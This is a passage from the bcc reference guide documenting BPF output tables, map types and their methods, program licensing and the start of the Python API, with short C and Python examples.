/tools](https://github.com/iovisor/bcc/search?q=perf_submit+path%3Atools&type=Code) - -### 4. perf_submit_skb() - -Syntax: ```int perf_submit_skb((void *)ctx, u32 packet_size, (void *)data, u32 data_size)``` - -Return: 0 on success - -A method of a BPF_PERF_OUTPUT table available in networking program types, for submitting custom event data to user space, along with the first ```packet_size``` bytes of the packet buffer. See the BPF_PERF_OUTPUT entry. (This ultimately calls bpf_perf_event_output().) - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=perf_submit_skb+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=perf_submit_skb+path%3Atools&type=Code) - -### 5. BPF_RINGBUF_OUTPUT - -Syntax: ```BPF_RINGBUF_OUTPUT(name, page_cnt)``` - -Creates a BPF table for pushing out custom event data to user space via a ringbuf ring buffer. -```BPF_RINGBUF_OUTPUT``` has several advantages over ```BPF_PERF_OUTPUT```, summarized as follows: - -- Buffer is shared across all CPUs, meaning no per-CPU allocation -- Supports two APIs for BPF programs - - ```map.ringbuf_output()``` works like ```map.perf_submit()``` (covered in [ringbuf_output](#6-ringbuf_output)) - - ```map.ringbuf_reserve()```/```map.ringbuf_submit()```/```map.ringbuf_discard()``` - split the process of reserving buffer space and submitting events into two steps - (covered in [ringbuf_reserve](#7-ringbuf_reserve), [ringbuf_submit](#8-ringbuf_submit), [ringbuf_discard](#9-ringbuf_discard)) -- BPF APIs do not require access to a CPU ctx argument -- Superior performance and latency in userspace thanks to a shared ring buffer manager -- Supports two ways of consuming data in userspace - -Starting in Linux 5.8, this should be the preferred method for pushing per-event data to user space. - -Example of both APIs: - -```C -struct data_t { - u32 pid; - u64 ts; - char comm[TASK_COMM_LEN]; -}; - -// Creates a ringbuf called events with 8 pages of space, shared across all CPUs -BPF_RINGBUF_OUTPUT(events, 8); - -int first_api_example(struct pt_regs *ctx) { - struct data_t data = {}; - - data.pid = bpf_get_current_pid_tgid(); - data.ts = bpf_ktime_get_ns(); - bpf_get_current_comm(&data.comm, sizeof(data.comm)); - - events.ringbuf_output(&data, sizeof(data), 0 /* flags */); - - return 0; -} - -int second_api_example(struct pt_regs *ctx) { - struct data_t *data = events.ringbuf_reserve(sizeof(struct data_t)); - if (!data) { // Failed to reserve space - return 1; - } - - data->pid = bpf_get_current_pid_tgid(); - data->ts = bpf_ktime_get_ns(); - bpf_get_current_comm(&data->comm, sizeof(data->comm)); - - events.ringbuf_submit(data, 0 /* flags */); - - return 0; -} -``` - -The output table is named ```events```. Data is allocated via ```events.ringbuf_reserve()``` and pushed to it via ```events.ringbuf_submit()```. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=BPF_RINGBUF_OUTPUT+path%3Aexamples&type=Code), - -### 6. ringbuf_output() - -Syntax: ```int ringbuf_output((void *)data, u64 data_size, u64 flags)``` - -Return: 0 on success - -Flags: - - ```BPF_RB_NO_WAKEUP```: Do not sent notification of new data availability - - ```BPF_RB_FORCE_WAKEUP```: Send notification of new data availability unconditionally - -A method of the BPF_RINGBUF_OUTPUT table, for submitting custom event data to user space. This method works like ```perf_submit()```, -although it does not require a ctx argument. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=ringbuf_output+path%3Aexamples&type=Code), - -### 7. ringbuf_reserve() - -Syntax: ```void* ringbuf_reserve(u64 data_size)``` - -Return: Pointer to data struct on success, NULL on failure - -A method of the BPF_RINGBUF_OUTPUT table, for reserving space in the ring buffer and simultaenously -allocating a data struct for output. Must be used with one of ```ringbuf_submit``` or ```ringbuf_discard```. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=ringbuf_reserve+path%3Aexamples&type=Code), - -### 8. ringbuf_submit() - -Syntax: ```void ringbuf_submit((void *)data, u64 flags)``` - -Return: Nothing, always succeeds - -Flags: - - ```BPF_RB_NO_WAKEUP```: Do not sent notification of new data availability - - ```BPF_RB_FORCE_WAKEUP```: Send notification of new data availability unconditionally - -A method of the BPF_RINGBUF_OUTPUT table, for submitting custom event data to user space. Must be preceded by a call to -```ringbuf_reserve()``` to reserve space for the data. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=ringbuf_submit+path%3Aexamples&type=Code), - -### 9. ringbuf_discard() - -Syntax: ```void ringbuf_discard((void *)data, u64 flags)``` - -Return: Nothing, always succeeds - -Flags: - - ```BPF_RB_NO_WAKEUP```: Do not sent notification of new data availability - - ```BPF_RB_FORCE_WAKEUP```: Send notification of new data availability unconditionally - -A method of the BPF_RINGBUF_OUTPUT table, for discarding custom event data; userspace -ignores the data associated with the discarded event. Must be preceded by a call to -```ringbuf_reserve()``` to reserve space for the data. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=ringbuf_submit+path%3Aexamples&type=Code), - -## Maps - -Maps are BPF data stores, and are the basis for higher level object types including tables, hashes, and histograms. - -### 1. BPF_TABLE - -Syntax: ```BPF_TABLE(_table_type, _key_type, _leaf_type, _name, _max_entries)``` - -Creates a map named ```_name```. Most of the time this will be used via higher-level macros, like BPF_HASH, BPF_ARRAY, BPF_HISTOGRAM, etc. - -`BPF_F_TABLE` is a variant that takes a flag in the last parameter. `BPF_TABLE(https://github.com/iovisor/bcc/tree/master.)` is actually a wrapper to `BPF_F_TABLE(https://github.com/iovisor/bcc/tree/master., 0 /* flag */)`. - -Methods (covered later): map.lookup(), map.lookup_or_try_init(), map.delete(), map.update(), map.insert(), map.increment(). - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=BPF_TABLE+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=BPF_TABLE+path%3Atools&type=Code) - -#### Pinned Maps - -Syntax: ```BPF_TABLE_PINNED(_table_type, _key_type, _leaf_type, _name, _max_entries, "/sys/fs/bpf/xyz")``` - -Create a new map if it doesn't exist and pin it to the bpffs as a FILE, otherwise use the map that was pinned to the bpffs. The type information is not enforced and the actual map type depends on the map that got pinned to the location. - -For example: - -```C -BPF_TABLE_PINNED("hash", u64, u64, ids, 1024, "/sys/fs/bpf/ids"); -``` - -### 2. BPF_HASH - -Syntax: ```BPF_HASH(name [, key_type [, leaf_type [, size]]])``` - -Creates a hash map (associative array) named ```name```, with optional parameters. - -Defaults: ```BPF_HASH(name, key_type=u64, leaf_type=u64, size=10240)``` - -For example: - -```C -BPF_HASH(start, struct request *); -``` - -This creates a hash named ```start``` where the key is a ```struct request *```, and the value defaults to u64. This hash is used by the disksnoop.py example for saving timestamps for each I/O request, where the key is the pointer to struct request, and the value is the timestamp. - -This is a wrapper macro for `BPF_TABLE("hash", ...)`. - -Methods (covered later): map.lookup(), map.lookup_or_try_init(), map.delete(), map.update(), map.insert(), map.increment(). - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=BPF_HASH+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=BPF_HASH+path%3Atools&type=Code) - -### 3. BPF_ARRAY - -Syntax: ```BPF_ARRAY(name [, leaf_type [, size]])``` - -Creates an int-indexed array which is optimized for fastest lookup and update, named ```name```, with optional parameters. - -Defaults: ```BPF_ARRAY(name, leaf_type=u64, size=10240)``` - -For example: - -```C -BPF_ARRAY(counts, u64, 32); -``` - -This creates an array named ```counts``` where with 32 buckets and 64-bit integer values. This array is used by the funccount.py example for saving call count of each function. - -This is a wrapper macro for `BPF_TABLE("array", ...)`. - -Methods (covered later): map.lookup(), map.update(), map.increment(). Note that all array elements are pre-allocated with zero values and can not be deleted. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=BPF_ARRAY+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=BPF_ARRAY+path%3Atools&type=Code) - -### 4. BPF_HISTOGRAM - -Syntax: ```BPF_HISTOGRAM(name [, key_type [, size ]])``` - -Creates a histogram map named ```name```, with optional parameters. - -Defaults: ```BPF_HISTOGRAM(name, key_type=int, size=64)``` - -For example: - -```C -BPF_HISTOGRAM(dist); -``` - -This creates a histogram named ```dist```, which defaults to 64 buckets indexed by keys of type int. - -This is a wrapper macro for `BPF_TABLE("histgram", ...)`. - -Methods (covered later): map.increment(). - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=BPF_HISTOGRAM+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=BPF_HISTOGRAM+path%3Atools&type=Code) - -### 5. BPF_STACK_TRACE - -Syntax: ```BPF_STACK_TRACE(name, max_entries)``` - -Creates stack trace map named ```name```, with a maximum entry count provided. These maps are used to store stack traces. - -For example: - -```C -BPF_STACK_TRACE(stack_traces, 1024); -``` - -This creates stack trace map named ```stack_traces```, with a maximum number of stack trace entries of 1024. - -This is a wrapper macro for `BPF_TABLE("stacktrace", ...)`. - -Methods (covered later): map.get_stackid(). - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=BPF_STACK_TRACE+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=BPF_STACK_TRACE+path%3Atools&type=Code) - -### 6. BPF_PERF_ARRAY - -Syntax: ```BPF_PERF_ARRAY(name, max_entries)``` - -Creates perf array named ```name```, with a maximum entry count provided, which must be equal to the number of system cpus. These maps are used to fetch hardware performance counters. - -For example: - -```C -text=""" -BPF_PERF_ARRAY(cpu_cycles, NUM_CPUS); -""" -b = bcc.BPF(text=text, cflags=["-DNUM_CPUS=%d" % multiprocessing.cpu_count()]) -b["cpu_cycles"].open_perf_event(b["cpu_cycles"].HW_CPU_CYCLES) -``` - -This creates a perf array named ```cpu_cycles```, with number of entries equal to the number of cpus/cores. The array is configured so that later calling map.perf_read() will return a hardware-calculated counter of the number of cycles elapsed from some point in the past. Only one type of hardware counter may be configured per table at a time. - -Methods (covered later): map.perf_read(). - -Examples in situ: -[search /tests](https://github.com/iovisor/bcc/search?q=BPF_PERF_ARRAY+path%3Atests&type=Code) - -### 7. BPF_PERCPU_HASH - -Syntax: ```BPF_PERCPU_HASH(name [, key_type [, leaf_type [, size]]])``` - -Creates NUM_CPU int-indexed hash maps (associative arrays) named ```name```, with optional parameters. Each CPU will have a separate copy of this array. The copies are not kept synchronized in any way. - -Note that due to limits defined in the kernel (in linux/mm/percpu.c), the ```leaf_type``` cannot have a size of more than 32KB. -In other words, ```BPF_PERCPU_HASH``` elements cannot be larger than 32KB in size. - - -Defaults: ```BPF_PERCPU_HASH(name, key_type=u64, leaf_type=u64, size=10240)``` - -For example: - -```C -BPF_PERCPU_HASH(start, struct request *); -``` - -This creates NUM_CPU hashes named ```start``` where the key is a ```struct request *```, and the value defaults to u64. - -This is a wrapper macro for `BPF_TABLE("percpu_hash", ...)`. - -Methods (covered later): map.lookup(), map.lookup_or_try_init(), map.delete(), map.update(), map.insert(), map.increment(). - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=BPF_PERCPU_HASH+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=BPF_PERCPU_HASH+path%3Atools&type=Code) - - -### 8. BPF_PERCPU_ARRAY - -Syntax: ```BPF_PERCPU_ARRAY(name [, leaf_type [, size]])``` - -Creates NUM_CPU int-indexed arrays which are optimized for fastest lookup and update, named ```name```, with optional parameters. Each CPU will have a separate copy of this array. The copies are not kept synchronized in any way. - -Note that due to limits defined in the kernel (in linux/mm/percpu.c), the ```leaf_type``` cannot have a size of more than 32KB. -In other words, ```BPF_PERCPU_ARRAY``` elements cannot be larger than 32KB in size. - - -Defaults: ```BPF_PERCPU_ARRAY(name, leaf_type=u64, size=10240)``` - -For example: - -```C -BPF_PERCPU_ARRAY(counts, u64, 32); -``` - -This creates NUM_CPU arrays named ```counts``` where with 32 buckets and 64-bit integer values. - -This is a wrapper macro for `BPF_TABLE("percpu_array", ...)`. - -Methods (covered later): map.lookup(), map.update(), map.increment(). Note that all array elements are pre-allocated with zero values and can not be deleted. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=BPF_PERCPU_ARRAY+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=BPF_PERCPU_ARRAY+path%3Atools&type=Code) - -### 9. BPF_LPM_TRIE - -Syntax: `BPF_LPM_TRIE(name [, key_type [, leaf_type [, size]]])` - -Creates a longest prefix match trie map named `name`, with optional parameters. - -Defaults: `BPF_LPM_TRIE(name, key_type=u64, leaf_type=u64, size=10240)` - -For example: - -```c -BPF_LPM_TRIE(trie, struct key_v6); -``` - -This creates an LPM trie map named `trie` where the key is a `struct key_v6`, and the value defaults to u64. - -This is a wrapper macro to `BPF_F_TABLE("lpm_trie", ..., BPF_F_NO_PREALLOC)`. - -Methods (covered later): map.lookup(), map.lookup_or_try_init(), map.delete(), map.update(), map.insert(), map.increment(). - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=BPF_LPM_TRIE+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=BPF_LPM_TRIE+path%3Atools&type=Code) - -### 10. BPF_PROG_ARRAY - -Syntax: ```BPF_PROG_ARRAY(name, size)``` - -This creates a program array named ```name``` with ```size``` entries. Each entry of the array is either a file descriptor to a bpf program or ```NULL```. The array acts as a jump table so that bpf programs can "tail-call" other bpf programs. - -This is a wrapper macro for `BPF_TABLE("prog", ...)`. - -Methods (covered later): map.call(). - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=BPF_PROG_ARRAY+path%3Aexamples&type=Code), -[search /tests](https://github.com/iovisor/bcc/search?q=BPF_PROG_ARRAY+path%3Atests&type=Code), -[assign fd](https://github.com/iovisor/bcc/blob/master/examples/networking/tunnel_monitor/monitor.py#L24-L26) - -### 11. BPF_DEVMAP - -Syntax: ```BPF_DEVMAP(name, size)``` - -This creates a device map named ```name``` with ```size``` entries. Each entry of the map is an `ifindex` to a network interface. This map is only used in XDP. - -For example: -```C -BPF_DEVMAP(devmap, 10); -``` - -Methods (covered later): map.redirect_map(). - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=BPF_DEVMAP+path%3Aexamples&type=Code), - -### 12. BPF_CPUMAP - -Syntax: ```BPF_CPUMAP(name, size)``` - -This creates a cpu map named ```name``` with ```size``` entries. The index of the map represents the CPU id and each entry is the size of the ring buffer allocated for the CPU. This map is only used in XDP. - -For example: -```C -BPF_CPUMAP(cpumap, 16); -``` - -Methods (covered later): map.redirect_map(). - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=BPF_CPUMAP+path%3Aexamples&type=Code), - -### 13. BPF_XSKMAP - -Syntax: ```BPF_XSKMAP(name, size [, "/sys/fs/bpf/xyz"])``` - -This creates a xsk map named ```name``` with ```size``` entries and pin it to the bpffs as a FILE. Each entry represents one NIC's queue id. This map is only used in XDP to redirect packet to an AF_XDP socket. If the AF_XDP socket is binded to a queue which is different than the current packet's queue id, the packet will be dropped. For kernel v5.3 and latter, `lookup` method is available and can be used to check whether and AF_XDP socket is available for the current packet's queue id. More details at [AF_XDP](https://www.kernel.org/doc/html/latest/networking/af_xdp.html). - -For example: -```C -BPF_XSKMAP(xsks_map, 8); -``` - -Methods (covered later): map.redirect_map(). map.lookup() - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=BPF_XSKMAP+path%3Aexamples&type=Code), - -### 14. BPF_ARRAY_OF_MAPS - -Syntax: ```BPF_ARRAY_OF_MAPS(name, inner_map_name, size)``` - -This creates an array map with a map-in-map type (BPF_MAP_TYPE_HASH_OF_MAPS) map named ```name``` with ```size``` entries. The inner map meta data is provided by map ```inner_map_name``` and can be most of array or hash maps except ```BPF_MAP_TYPE_PROG_ARRAY```, ```BPF_MAP_TYPE_CGROUP_STORAGE``` and ```BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE```. - -For example: -```C -BPF_TABLE("hash", int, int, ex1, 1024); -BPF_TABLE("hash", int, int, ex2, 1024); -BPF_ARRAY_OF_MAPS(maps_array, "ex1", 10); -``` - -### 15. BPF_HASH_OF_MAPS - -Syntax: ```BPF_HASH_OF_MAPS(name, key_type, inner_map_name, size)``` - -This creates a hash map with a map-in-map type (BPF_MAP_TYPE_HASH_OF_MAPS) map named ```name``` with ```size``` entries. The inner map meta data is provided by map ```inner_map_name``` and can be most of array or hash maps except ```BPF_MAP_TYPE_PROG_ARRAY```, ```BPF_MAP_TYPE_CGROUP_STORAGE``` and ```BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE```. - -For example: -```C -BPF_ARRAY(ex1, int, 1024); -BPF_ARRAY(ex2, int, 1024); -BPF_HASH_OF_MAPS(maps_hash, struct custom_key, "ex1", 10); -``` - -### 16. BPF_STACK - -Syntax: ```BPF_STACK(name, leaf_type, max_entries[, flags])``` - -Creates a stack named ```name``` with value type ```leaf_type``` and max entries ```max_entries```. -Stack and Queue maps are only available from Linux 4.20+. - -For example: - -```C -BPF_STACK(stack, struct event, 10240); -``` - -This creates a stack named ```stack``` where the value type is ```struct event```, that holds up to 10240 entries. - -Methods (covered later): map.push(), map.pop(), map.peek(). - -Examples in situ: -[search /tests](https://github.com/iovisor/bcc/search?q=BPF_STACK+path%3Atests&type=Code), - -### 17. BPF_QUEUE - -Syntax: ```BPF_QUEUE(name, leaf_type, max_entries[, flags])``` - -Creates a queue named ```name``` with value type ```leaf_type``` and max entries ```max_entries```. -Stack and Queue maps are only available from Linux 4.20+. - -For example: - -```C -BPF_QUEUE(queue, struct event, 10240); -``` - -This creates a queue named ```queue``` where the value type is ```struct event```, that holds up to 10240 entries. - -Methods (covered later): map.push(), map.pop(), map.peek(). - -Examples in situ: -[search /tests](https://github.com/iovisor/bcc/search?q=BPF_QUEUE+path%3Atests&type=Code), - -### 18. BPF_SOCKHASH - -Syntax: ```BPF_SOCKHASH(name[, key_type [, max_entries)``` - -Creates a hash named ```name```, with optional parameters. sockhash is only available from Linux 4.18+. - -Default: ```BPF_SOCKHASH(name, key_type=u32, max_entries=10240)``` - -For example: - -```C -struct sock_key { - u32 remote_ip4; - u32 local_ip4; - u32 remote_port; - u32 local_port; -}; -BPF_HASH(skh, struct sock_key, 65535); -``` - -This creates a hash named ```skh``` where the key is a ```struct sock_key```. - -A sockhash is a BPF map type that holds references to sock structs. Then with a new sk/msg redirect bpf helper BPF programs can use the map to redirect skbs/msgs between sockets (```map.sk_redirect_hash()/map.msg_redirect_hash()```). - -The difference between ```BPF_SOCKHASH``` and ```BPF_SOCKMAP``` is that ```BPF_SOCKMAP``` is implemented based on an array, and enforces keys to be four bytes. While ```BPF_SOCKHASH``` is implemented based on hash table, and the type of key can be specified freely. - -Methods (covered later): map.sock_hash_update(), map.msg_redirect_hash(), map.sk_redirect_hash(). - -[search /tests](https://github.com/iovisor/bcc/search?q=BPF_SOCKHASH+path%3Atests&type=Code) - -### 19. map.lookup() - -Syntax: ```*val map.lookup(&key)``` - -Lookup the key in the map, and return a pointer to its value if it exists, else NULL. We pass the key in as an address to a pointer. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=lookup+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=lookup+path%3Atools&type=Code) - -### 20. map.lookup_or_try_init() - -Syntax: ```*val map.lookup_or_try_init(&key, &zero)``` - -Lookup the key in the map, and return a pointer to its value if it exists, else initialize the key's value to the second argument. This is often used to initialize values to zero. If the key cannot be inserted (e.g. the map is full) then NULL is returned. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=lookup_or_try_init+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=lookup_or_try_init+path%3Atools&type=Code) - -Note: The old map.lookup_or_init() may cause return from the function, so lookup_or_try_init() is recommended as it -does not have this side effect. - -### 21. map.delete() - -Syntax: ```map.delete(&key)``` - -Delete the key from the hash. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=delete+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=delete+path%3Atools&type=Code) - -### 22. map.update() - -Syntax: ```map.update(&key, &val)``` - -Associate the value in the second argument to the key, overwriting any previous value. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=update+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=update+path%3Atools&type=Code) - -### 23. map.insert() - -Syntax: ```map.insert(&key, &val)``` - -Associate the value in the second argument to the key, only if there was no previous value. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=insert+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=insert+path%3Atools&type=Code) - -### 24. map.increment() - -Syntax: ```map.increment(key[, increment_amount])``` - -Increments the key's value by `increment_amount`, which defaults to 1. Used for histograms. - -```map.increment()``` are not atomic. In the concurrency case. If you want more accurate results, use ```map.atomic_increment()``` instead of ```map.increment()```. The overhead of ```map.increment()``` and ```map.atomic_increment()``` is similar. - -Note. When using ```map.atomic_increment()``` to operate on a BPF map of type ```BPF_MAP_TYPE_HASH```, ```map.atomic_increment()``` does not guarantee the atomicity of the operation when the specified key does not exist. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=increment+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=increment+path%3Atools&type=Code) - -### 25. map.get_stackid() - -Syntax: ```int map.get_stackid(void *ctx, u64 flags)``` - -This walks the stack found via the struct pt_regs in ```ctx```, saves it in the stack trace map, and returns a unique ID for the stack trace. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=get_stackid+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=get_stackid+path%3Atools&type=Code) - -### 26. map.perf_read() - -Syntax: ```u64 map.perf_read(u32 cpu)``` - -This returns the hardware performance counter as configured in [5. BPF_PERF_ARRAY](#5-bpf_perf_array) - -Examples in situ: -[search /tests](https://github.com/iovisor/bcc/search?q=perf_read+path%3Atests&type=Code) - -### 27. map.call() - -Syntax: ```void map.call(void *ctx, int index)``` - -This invokes ```bpf_tail_call()``` to tail-call the bpf program which the ```index``` entry in [BPF_PROG_ARRAY](#10-bpf_prog_array) points to. A tail-call is different from the normal call. It reuses the current stack frame after jumping to another bpf program and never goes back. If the ```index``` entry is empty, it won't jump anywhere and the program execution continues as normal. - -For example: - -```C -BPF_PROG_ARRAY(prog_array, 10); - -int tail_call(void *ctx) { - bpf_trace_printk("Tail-call\n"); - return 0; -} - -int do_tail_call(void *ctx) { - bpf_trace_printk("Original program\n"); - prog_array.call(ctx, 2); - return 0; -} -``` - -```Python -b = BPF(src_file="example.c") -tail_fn = b.load_func("tail_call", BPF.KPROBE) -prog_array = b.get_table("prog_array") -prog_array[c_int(2)] = c_int(tail_fn.fd) -b.attach_kprobe(event="some_kprobe_event", fn_name="do_tail_call") -``` - -This assigns ```tail_call()``` to ```prog_array[2]```. In the end of ```do_tail_call()```, ```prog_array.call(ctx, 2)``` tail-calls ```tail_call()``` and executes it. - -**NOTE:** To prevent infinite loop, the maximum number of tail-calls is 32 ([```MAX_TAIL_CALL_CNT```](https://github.com/torvalds/linux/search?l=C&q=MAX_TAIL_CALL_CNT+path%3Ainclude%2Flinux&type=Code)). - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?l=C&q=call+path%3Aexamples&type=Code), -[search /tests](https://github.com/iovisor/bcc/search?l=C&q=call+path%3Atests&type=Code) - -### 28. map.redirect_map() - -Syntax: ```int map.redirect_map(int index, int flags)``` - -This redirects the incoming packets based on the ```index``` entry. If the map is [BPF_DEVMAP](#11-bpf_devmap), the packet will be sent to the transmit queue of the network interface that the entry points to. If the map is [BPF_CPUMAP](#12-bpf_cpumap), the packet will be sent to the ring buffer of the ```index``` CPU and be processed by the CPU later. If the map is [BPF_XSKMAP](#13-bpf_xskmap), the packet will be sent to the AF_XDP socket attached to the queue. - -If the packet is redirected successfully, the function will return XDP_REDIRECT. Otherwise, it will return XDP_ABORTED to discard the packet. - -For example: -```C -BPF_DEVMAP(devmap, 1); - -int redirect_example(struct xdp_md *ctx) { - return devmap.redirect_map(0, 0); -} -int xdp_dummy(struct xdp_md *ctx) { - return XDP_PASS; -} -``` - -```Python -ip = pyroute2.IPRoute() -idx = ip.link_lookup(ifname="eth1")[0] - -b = bcc.BPF(src_file="example.c") - -devmap = b.get_table("devmap") -devmap[c_uint32(0)] = c_int(idx) - -in_fn = b.load_func("redirect_example", BPF.XDP) -out_fn = b.load_func("xdp_dummy", BPF.XDP) -b.attach_xdp("eth0", in_fn, 0) -b.attach_xdp("eth1", out_fn, 0) -``` - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?l=C&q=redirect_map+path%3Aexamples&type=Code), - -### 29. map.push() - -Syntax: ```int map.push(&val, int flags)``` - -Push an element onto a Stack or Queue table. -Passing BPF_EXIST as a flag causes the Queue or Stack to discard the oldest element if it is full. -Returns 0 on success, negative error on failure. - -Examples in situ: -[search /tests](https://github.com/iovisor/bcc/search?q=push+path%3Atests&type=Code), - -### 30. map.pop() - -Syntax: ```int map.pop(&val)``` - -Pop an element from a Stack or Queue table. ```*val``` is populated with the result. -Unlike peeking, popping removes the element. -Returns 0 on success, negative error on failure. - -Examples in situ: -[search /tests](https://github.com/iovisor/bcc/search?q=pop+path%3Atests&type=Code), - -### 31. map.peek() - -Syntax: ```int map.peek(&val)``` - -Peek an element at the head of a Stack or Queue table. ```*val``` is populated with the result. -Unlike popping, peeking does not remove the element. -Returns 0 on success, negative error on failure. - -Examples in situ: -[search /tests](https://github.com/iovisor/bcc/search?q=peek+path%3Atests&type=Code), - -### 32. map.sock_hash_update() - -Syntax: ```int map.sock_hash_update(struct bpf_sock_ops *skops, &key, int flags)``` - -Add an entry to, or update a sockhash map referencing sockets. The skops is used as a new value for the entry associated to key. flags is one of: - -```sh -BPF_NOEXIST: The entry for key must not exist in the map. -BPF_EXIST: The entry for key must already exist in the map. -BPF_ANY: No condition on the existence of the entry for key. -``` - -If the map has eBPF programs (parser and verdict), those will be inherited by the socket being added. If the socket is already attached to eBPF programs, this results in an error. - -Return 0 on success, or a negative error in case of failure. - -Examples in situ: -[search /tests](https://github.com/iovisor/bcc/search?q=sock_hash_update+path%3Atests&type=Code), - -### 33. map.msg_redirect_hash() - -Syntax: ```int map.msg_redirect_hash(struct sk_msg_buff *msg, void *key, u64 flags)``` - -This helper is used in programs implementing policies at the socket level. If the message msg is allowed to pass (i.e. if the verdict eBPF program returns SK_PASS), redirect it to the socket referenced by map (of type BPF_MAP_TYPE_SOCKHASH) using hash key. Both ingress and egress interfaces can be used for redirection. The BPF_F_INGRESS value in flags is used to make the distinction (ingress path is selected if the flag is present, egress path otherwise). This is the only flag supported for now. - -Return SK_PASS on success, or SK_DROP on error. - -Examples in situ: -[search /tests](https://github.com/iovisor/bcc/search?q=msg_redirect_hash+path%3Atests&type=Code), - -### 34. map.sk_redirect_hash() - -Syntax: ```int map.sk_redirect_hash(struct sk_buff *skb, void *key, u64 flags)``` - -This helper is used in programs implementing policies at the skb socket level. If the sk_buff skb is allowed to pass (i.e. if the verdict eBPF program returns SK_PASS), redirect it to the socket referenced by map (of type BPF_MAP_TYPE_SOCKHASH) using hash key. Both ingress and egress interfaces can be used for redirection. The BPF_F_INGRESS value in flags is used to make the distinction (ingress path is selected if the flag is present, egress otherwise). This is the only flag supported for now. - -Return SK_PASS on success, or SK_DROP on error. - -Examples in situ: -[search /tests](https://github.com/iovisor/bcc/search?q=sk_redirect_hash+path%3Atests&type=Code), - -## Licensing - -Depending on which [BPF helpers](kernel-versions.md#helpers) are used, a GPL-compatible license is required. - -The special BCC macro `BPF_LICENSE` specifies the license of the BPF program. You can set the license as a comment in your source code, but the kernel has a special interface to specify it programmatically. If you need to use GPL-only helpers, it is recommended to specify the macro in your C code so that the kernel can understand it: - -```C -// SPDX-License-Identifier: GPL-2.0+ -#define BPF_LICENSE GPL -``` - -Otherwise, the kernel may reject loading your program (see the [error description](#2-cannot-call-gpl-only-function-from-proprietary-program) below). Note that it supports multiple words and quotes are not necessary: - -```C -// SPDX-License-Identifier: GPL-2.0+ OR BSD-2-Clause -#define BPF_LICENSE Dual BSD/GPL -``` - -Check the [BPF helpers reference](kernel-versions.md#helpers) to see which helpers are GPL-only and what the kernel understands as GPL-compatible. - -**If the macro is not specified, BCC will automatically define the license of the program as GPL.** - -## Rewriter - -One of jobs for rewriter is to turn implicit memory accesses to explicit ones using kernel helpers. Recent kernel introduced a config option ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE which will be set for architectures who user address space and kernel address are disjoint. x86 and arm has this config option set while s390 does not. If ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE is not set, the bpf old helper `bpf_probe_read()` will not be available. Some existing users may have implicit memory accesses to access user memory, so using `bpf_probe_read_kernel()` will cause their application to fail. Therefore, for non-s390, the rewriter will use `bpf_probe_read()` for these implicit memory accesses. For s390, `bpf_probe_read_kernel()` is used as default and users should use `bpf_probe_read_user()` explicitly when accessing user memories. - -# bcc Python - -## Initialization - -Constructors. - -### 1. BPF - -Syntax: ```BPF({text=BPF_program | src_file=filename} [, usdt_contexts=[USDT_object, ...]] [, cflags=[arg1, ...]] [, debug=int])``` - -Creates a BPF object. This is the main object for defining a BPF program, and interacting with its output. - -Exactly one of `text` or `src_file` must be supplied (not both). - -The `cflags` specifies additional arguments to be passed to the compiler, for example `-DMACRO_NAME=value` or `-I/include/path`. The arguments are passed as an array, with each element being an additional argument. Note that strings are not split on whitespace, so each argument must be a different element of the array, e.g. `["-include", "header.h"]`. - -The `debug` flags control debug output, and can be or'ed together: -- `DEBUG_LLVM_IR = 0x1` compiled LLVM IR -- `DEBUG_BPF = 0x2` loaded BPF bytecode and register state on branches -- `DEBUG_PREPROCESSOR = 0x4` pre-processor result -- `DEBUG_SOURCE = 0x8` ASM 